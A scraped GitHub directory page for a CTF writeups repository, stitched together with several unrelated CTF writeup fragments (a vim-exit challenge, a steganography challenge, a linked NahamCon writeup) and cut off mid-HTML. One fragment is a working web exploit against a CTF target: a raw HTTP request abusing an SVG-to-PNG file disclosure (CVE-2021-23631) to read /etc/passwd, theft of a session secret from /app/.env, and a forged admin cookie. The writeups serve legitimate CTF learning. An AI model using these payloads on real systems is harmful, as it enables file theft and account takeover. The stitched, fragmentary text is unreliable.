<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/GonTanaka/CTF-Writeups/refs" cache-key="v0:1655044557.692943" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="R29uVGFuYWthL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/GonTanaka/CTF-Writeups/refs" cache-key="v0:1655044557.692943" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="R29uVGFuYWthL0NURi1Xcml0ZXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Cyber_Apocalypse2022</span></span><span>/</span><span><span>pwn</span></span><span>/</span>Vault-breaker<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Cyber_Apocalypse2022</span></span><span>/</span><span><span>pwn</span></span><span>/</span>Vault-breaker<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/GonTanaka/CTF-Writeups/tree-commit/43ab77611a7db8f4eae3fde0cc50c0e1e81cefde/Cyber_Apocalypse2022/pwn/Vault-breaker" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/GonTanaka/CTF-Writeups/file-list/main/Cyber_Apocalypse2022/pwn/Vault-breaker"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>vault-breaker</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2022-NahamCon-CTF/Keeber.md#keeber-4--318-pts) (https://github.com/piyagehi/CTF-Writeups/blob/main/2022-NahamCon-CTF/Keeber.md#keeber-4--318-pts) |
Connect to the machine via SSH as it suggests. Vim is not doing anything right now, so we can enter the command :q simply by typing that very text. We have now exited VIM, and are given the flag flag{ccf443b43322be5659150eac8bb2a18c}. |
Got a way to display file via svg to png LFI CVE-2021-23631:```POST /api/export HTTP/1.1Host: 138.68.175.87:30484User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://138.68.175.87:30484/dashboardContent-Type: application/jsonOrigin: http://138.68.175.87:30484Content-Length: 283DNT: 1Connection: closeCookie: session.sig=4u6WkhlFO5u5hCXaxOP-HGYLD9s; session=eyJ1c2VybmFtZSI6InRlc3QyIn0={"svg":"`<svg-dummy></svg-dummy><iframe src=\"file:///etc/passwd\" width=\"100%\" height=\"1000px\"></iframe><svg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"><text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text></svg>`"}```
Got the secret to sign/verify cookie in /app/.env`SESSION_SECRET_KEY=5921719c3037662e94250307ec5ed1db``Used cookie-monster to generate the cookie:```root@sd-127123:/tmp# cat test.json{"username":"admin"}root@sd-127123:/tmp# cookie-monster -e -f test.json -k 5921719c3037662e94250307ec5ed1db _ _ _/0\/ \_ .-. .-` \_/\0/ '-. /:::\ / ,_________, \ /\:::/ \ '. (:::/ `'-; \ `-'`\ '._ `"'"'\__ \ `'-. \ `)-=-=( `, | \ `-"` `"-` /
[+] Data Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0=[+] Signature Cookie: session.sig=EYdvy2mhVoEznETyhYjNYFFZM8o```Burp repeater:```GET /dashboard HTTP/1.1Host: 138.68.150.120:31876User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://138.68.150.120:31876/DNT: 1Connection: closeCookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0=; session.sig=EYdvy2mhVoEznETyhYjNYFFZM8oUpgrade-Insecure-Requests: 1```The flag is in the source code response:`var flag = 'HTB{ZZZZZZZZZZZZZZZZZZZZZZ}'` |
# cool-school (forensics - 129 points)## ContextThe image represents some kids that talk about the sky. Probably there is something in it## Vulnerabilities- Data hidden in RGB color planes## ExploitationI used https://stegonline.georgeom.net/upload to upload the image and analyze the RGB planes. The flag is hidden in the sky.
flag: `tjctf{l0l_st3g_s0_co0l}` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-c9f000e7f174.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 